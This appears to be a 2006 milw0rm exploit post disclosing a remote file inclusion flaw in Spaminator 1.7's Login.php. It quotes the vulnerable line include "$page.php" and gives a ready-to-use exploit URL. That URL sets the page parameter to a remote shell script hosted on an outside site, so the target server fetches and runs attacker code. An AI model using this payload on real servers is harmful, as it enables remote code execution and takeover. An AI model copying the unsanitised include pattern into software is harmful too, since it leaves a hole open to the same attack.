22 lines
No EOL
387 B
Text
22 lines
No EOL
387 B
Text
Spaminator 1.7. ($page) Remote File Include
|
|
CreW: ToXiC
|
|
BuG Found By Drago84
|
|
|
|
SourcE CodE:
|
|
http://freshmeat.net/redir/spaminator/16281/url_tgz/spaminator-1.7.tar.gz
|
|
|
|
Page Affect is:
|
|
/src/Login.php
|
|
|
|
Problem is
|
|
include "$page.php";
|
|
|
|
Path :
|
|
Declare $page
|
|
|
|
ExpL:
|
|
http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?
|
|
|
|
Greatz:str0ke
|
|
|
|
# milw0rm.com [2006-08-10] |